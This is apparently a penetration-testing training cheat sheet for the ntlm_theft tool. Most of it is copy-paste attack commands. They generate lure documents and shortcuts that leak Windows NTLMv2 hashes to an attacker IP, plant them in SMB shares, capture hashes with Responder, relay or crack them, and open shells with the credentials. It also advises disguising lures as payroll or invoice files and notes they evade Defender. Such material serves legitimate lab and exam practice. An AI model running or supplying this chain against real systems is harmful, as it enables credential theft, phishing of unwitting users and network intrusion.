ntlm_theft

Ctrl+F: ntlm_theft · prompt off · mount cifs · modern · Responder

What is ntlm_theft?

ntlm_theft generates 21+ types of files that, when opened by a Windows user, force the machine to attempt SMB authentication to your IP — handing over an NTLMv2 hash in the process.

It does not capture hashes itself. It creates the lure. You still need a capture server (Responder, ntlmrelayx, Metasploit SMB listener) running on the IP you specify.

---

How it fits with the rest of the attack chain

ntlm_theft  →  creates "Bonus_Payment.docx" with embedded \\10.10.14.5\share path
Responder   →  listening on 10.10.14.5, captures NTLMv2 hash when victim opens file
Hashcat     →  crack hash offline → valid plaintext credentials
                           OR
ntlmrelayx  →  relay the hash in real time → shell / SAM dump (no cracking needed)

Why use ntlm_theft instead of just waiting with Responder?

Responder is passive — it waits for someone’s machine to broadcast a failed name lookup. That only happens by chance. ntlm_theft is active — you create a file that immediately triggers authentication the moment it’s opened. You control when the hash arrives:

• Drop it in a writable SMB share a user browses
• Email it as an internal phishing attachment
• Upload it to an app with file preview (SharePoint, ticketing systems, chat apps)
• Leave it on a USB / shared folder

---

📌 1) Installation

# Clone from GitHub
git clone https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft
pip3 install -r requirements.txt
 
# Or if already on Kali
which ntlm_theft
python3 ntlm_theft.py --help

---

📌 2) All Flags

Flag	Description
-g / --generate	File type(s) to generate — required (see values below)
-s / --server	Your attacker IP — the capture server (Responder / ntlmrelayx) — required
-f / --filename	Base filename without extension (rename it later to something convincing) — required
-vv / --verbose	Verbose output
-v / --version	Show version
-h / --help	Help

-g values

Value	What it generates
all	All 21+ file types at once
modern	Only types that work on modern/patched Windows — best starting point
url	.url shortcut files
lnk	.lnk Windows shortcut
scf	.scf shell command file (older Windows)
rtf	.rtf Word-compatible rich text
xml	.xml — Word external stylesheet + includepicture
htm	.htm — Chrome/IE/Edge img src (open locally only)
docx	.docx — includepicture, remote template, frameset (3 variants)
xlsx	.xlsx — Excel external cell
wax	.wax Windows Media Player playlist
asx	.asx Windows Media Player playlist
m3u	.m3u Windows Media Player (lower success rate)
jnlp	.jnlp Java Web Start
application	.application — browser download + run
pdf	.pdf — Adobe Acrobat Reader (user must click Allow)
zoom	.txt — formatted UNC link for Zoom chat
libraryms	.library-ms Windows library file
autoruninf	autorun.inf (older Windows, USB attacks)
desktopini	desktop.ini (older Windows)

---

📌 3) Usage — Generating Payloads

# Generate ALL file types (output folder created automatically)
python3 ntlm_theft.py -g all -s 192.168.45.227 -f Report
 
# Generate only types that work on modern Windows (recommended)
python3 ntlm_theft.py -g modern -s 10.10.14.5 -f Board-Meeting-2024
 
# Generate a single specific type
python3 ntlm_theft.py -g docx -s 10.10.14.5 -f Invoice-Q4
python3 ntlm_theft.py -g pdf  -s 10.10.14.5 -f Policy-Update
python3 ntlm_theft.py -g url  -s 10.10.14.5 -f Sharepoint-Link
python3 ntlm_theft.py -g xlsx -s 10.10.14.5 -f Finance-Report
 
# Verbose
python3 ntlm_theft.py -g all -s 10.10.14.5 -f test -vv

Output:

Created: Q4-Bonus/Q4-Bonus.scf         (BROWSE)
Created: Q4-Bonus/Q4-Bonus-(url).url   (BROWSE)
Created: Q4-Bonus/Q4-Bonus-(icon).url  (BROWSE)
Created: Q4-Bonus/Q4-Bonus.rtf         (OPEN)
Created: Q4-Bonus/Q4-Bonus-(stylesheet).xml  (OPEN)
Created: Q4-Bonus/Q4-Bonus-(fulldocx).xml    (OPEN)
Created: Q4-Bonus/Q4-Bonus.htm         (OPEN FROM DESKTOP WITH CHROME/IE/EDGE)
Created: Q4-Bonus/Q4-Bonus-(includepicture).docx  (OPEN)
Created: Q4-Bonus/Q4-Bonus-(remotetemplate).docx  (OPEN)
Created: Q4-Bonus/Q4-Bonus-(frameset).docx         (OPEN)
Created: Q4-Bonus/Q4-Bonus.xlsx        (OPEN)
Created: Q4-Bonus/Q4-Bonus.asx         (OPEN)
Created: Q4-Bonus/Q4-Bonus.jnlp        (OPEN)
Created: Q4-Bonus/Q4-Bonus.application (DOWNLOAD AND OPEN)
Created: Q4-Bonus/Q4-Bonus.pdf         (OPEN AND ALLOW)
Created: Q4-Bonus/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

---

📌 4) All File Types — Trigger Method & Notes

Browse to folder (no open needed — just navigate to the directory)

File	How it triggers	Works on modern Windows?
.url (URL field)	Browsing to containing folder	✅
.url (ICONFILE field)	Browsing to containing folder	✅
.lnk	Browsing to folder or opening	✅
.scf	Browsing to folder	❌ Patched
autorun.inf	USB autorun	❌ Patched
desktop.ini	Browsing folder	❌ Patched

Open document (user opens the file)

File	How it triggers	User action	Works?
.rtf	Word loads remote resource	Open file	✅
.xml (stylesheet)	Word loads external CSS	Open in Word	✅
.xml (includepicture)	Word fetches external image	Open in Word	✅
.docx (includepicture)	Word fetches external image	Open file	✅
.docx (remotetemplate)	Word loads remote template	Open file	✅
.docx (frameset)	Word connects to remote host	Open file	✅
.xlsx	Excel external cell link	Open file	✅
.htm	Chrome/IE/Edge img src	Open locally (not hosted)	✅
.asx	Windows Media Player	Open file	✅
.wax	Windows Media Player	Open file	✅
.m3u	Windows Media Player	Open in WMP only	⚠️ inconsistent
.jnlp	Java Web Start	Open + Java installed	⚠️ rare
.application	Browser downloads + runs	Must be browser-downloaded	⚠️

Requires user to click Allow / Accept

File	Notes
.pdf	Adobe Acrobat prompts “Allow” for network resource — user must click Accept

Chat / link

File	Notes
zoom-instructions.txt	Paste the UNC path into Zoom chat — victim clicks it

---

📌 5) Full OSCP Workflow

Step 1 — Start your capture server

# Option A: Responder (capture hashes)
sudo responder -I tun0 -w On -v
 
# Option B: ntlmrelayx (relay hashes — no cracking needed)
# First check SMB signing: netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
impacket-ntlmrelayx -tf targets.txt -smb2support -i

Step 2 — Generate payloads pointing at your IP

# Use 'modern' for patched Windows (most OSCP targets)
python3 ntlm_theft.py -g modern -s 10.10.14.5 -f Salary-Review-2024
 
# Or generate all and pick the best one for the scenario
python3 ntlm_theft.py -g all -s 10.10.14.5 -f Report

Step 3 — Deliver the file

Scenario	Best file type
Writable SMB share user will browse	.url or .lnk (browse-to-folder trigger — no open needed)
Email attachment	.docx, .xlsx, .rtf, .pdf
Chat message / Zoom	zoom-instructions.txt UNC link
USB drop	.url, .lnk, autorun.inf (older)
Web upload (file preview app)	.docx, .xml, .rtf
File share where user opens files	.docx remotetemplate — stealthy

Single file:

smbclient //10.10.10.10/Share -U user%password -c "put Salary-Review-2024-(url).url"

Step 3b — Bulk upload many lures (don’t put 20 times)

After python3 ntlm_theft.py -g all -s ATTACKER_IP -f Report you get a folder of files — upload everything at once.

impacket-smbclient has no mput — only single-file put. Use mount or native smbclient below.

Option 1 — Mount share + cp (preferred for lots of files)

sudo mkdir -p /mnt/shared
sudo mount -t cifs //flight.htb/Shared /mnt/shared \
  -o username=s.moon,password='S@Ss!K@*t13'
 
cp Report/* /mnt/shared/
# or: cp -r htb/* /mnt/shared/
 
**External:** [Internal All The Things — Hash Capture](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-capture/)
 
sudo umount /mnt/shared

→ smbclient > 📌 7) Bulk upload (mount / smbclient mput)

Option 2 — Native smbclient + mput

smbclient //flight.htb/Shared -U 's.moon%S@Ss!K@*t13'
 
smb: \> prompt off
smb: \> mput *

prompt off skips “Upload this file? (y/n)” for each file.

Non-interactive one-liner:

smbclient //flight.htb/Shared -U 'user%pass' -c "prompt off; mput Report/*"

Pair with nxc slinky when planting a single lure — ntlm_theft when you need many file types at once.

Step 4 — Wait for hash in Responder logs

ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.5.txt

Step 5 — Crack the hash

# NTLMv2 (most common)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
# Show results
hashcat -m 5600 hashes.txt --show
 
# John
john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Step 6 — Use the creds

# Verify
netexec smb 10.10.10.10 -u username -p 'CrackedPassword'
netexec winrm 10.10.10.10 -u username -p 'CrackedPassword'
 
# Shell
evil-winrm -i 10.10.10.10 -u username -p 'CrackedPassword'
impacket-psexec domain/username:'CrackedPassword'@10.10.10.10

---

📌 6) Relay Instead of Cracking (ntlmrelayx)

If SMB signing is disabled on targets, skip cracking entirely — relay the hash live:

# Check signing
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
 
# Edit Responder.conf: SMB=Off, HTTP=Off
# Terminal 1: ntlmrelayx
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i
 
# Terminal 2: Responder
sudo responder -I eth0 -w On
 
# Terminal 3: deliver ntlm_theft payload to victim
# When victim opens file → hash relayed → interactive SMB shell appears
nc 127.0.0.1 11000    # port shown in ntlmrelayx output

---

📌 7) Choosing the Right File Type

Target has Office installed and opens emails?
  → .docx (remotetemplate) or .xlsx — stealthy, no popup

Target browses SMB shares?
  → .url or .lnk in the share — triggers on browse, no open required

Target uses Zoom or Teams?
  → zoom-instructions.txt UNC link — paste into chat

Target has Adobe Reader?
  → .pdf — user must click Allow

Testing what works / unknown environment?
  → generate 'modern' and try a few types

---

📌 OPSEC Notes

• The generated files are not flagged by Windows Defender by default (they use legitimate file features, not exploits)
• .url and .lnk are the stealthiest — they trigger without the user opening the file (just browsing the folder)
• .docx remote template is the most reliable open-and-trigger on modern Office
• .pdf requires user to click “Allow” — less reliable
• Rename files to something convincing before delivering (Invoice_Nov2024.docx, HR-Policy-Update.pdf, etc.)

---

📌 Quick Cheat Sheet (Copy/Paste)

# ─── GENERATE PAYLOADS ────────────────────────────────────────
python3 ntlm_theft.py -g modern -s ATTACKER_IP -f Payroll-2024
python3 ntlm_theft.py -g all    -s ATTACKER_IP -f Report
python3 ntlm_theft.py -g docx   -s ATTACKER_IP -f Invoice
python3 ntlm_theft.py -g url    -s ATTACKER_IP -f Sharepoint
 
# ─── START CAPTURE SERVER ─────────────────────────────────────
sudo responder -I tun0 -w On -v
 
# ─── DROP IN SMB SHARE ────────────────────────────────────────
smbclient //TARGET/Share -U user%pass -c "put Payroll-2024-(url).url"
smbclient //TARGET/Share -U user%pass -c "prompt off; mput Report/*"
 
# Bulk via mount
sudo mount -t cifs //TARGET/Share /mnt/shared -o username=user,password='PASS'
cp Report/* /mnt/shared/
 
# ─── VIEW CAPTURED HASHES ─────────────────────────────────────
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt
 
# ─── CRACK ────────────────────────────────────────────────────
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 hashes.txt --show
 
# ─── USE CREDS ────────────────────────────────────────────────
netexec smb TARGET -u user -p 'CrackedPassword'
evil-winrm -i TARGET -u user -p 'CrackedPassword'

---

Related Tools

• Responder
• ntlmrelayx
• Hashcat
• smbclient

Related Notes

• Responder
• Impacket
• CrackMapExec - nxc
• Hashcat
• John
• evil-winrm
• SMB
• smbclient
• File Transfer
• LatMovement
• Initial foothold
• Training